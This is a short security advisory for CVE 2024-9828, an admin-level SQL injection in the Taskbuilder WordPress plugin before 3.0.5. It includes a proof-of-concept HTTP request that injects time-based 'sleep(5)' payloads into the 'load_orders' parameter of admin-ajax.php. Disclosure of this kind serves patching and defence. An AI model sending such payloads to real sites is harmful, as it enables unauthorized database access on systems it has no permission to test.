Taskbuilder < 3.0.5 – Admin+ SQL Injection | CVE 2024-9828

Description

The plugin does not sanitize user input into the 'load_orders' parameter and uses it in a SQL statement, allowing high privilege users such as admin to perform SQL Injection attacks

Proof of Concept

```
POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 95
Connection: keep-alive
Cookie: [admin_cookie]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=wppm_set_category_order&load_orders%5B1%5D=(select*from(select(sleep(5)))a)&load_orders%5B2%5D=(select*from(select(sleep(5)))a)&_ajax_nonce=ad438903eb
```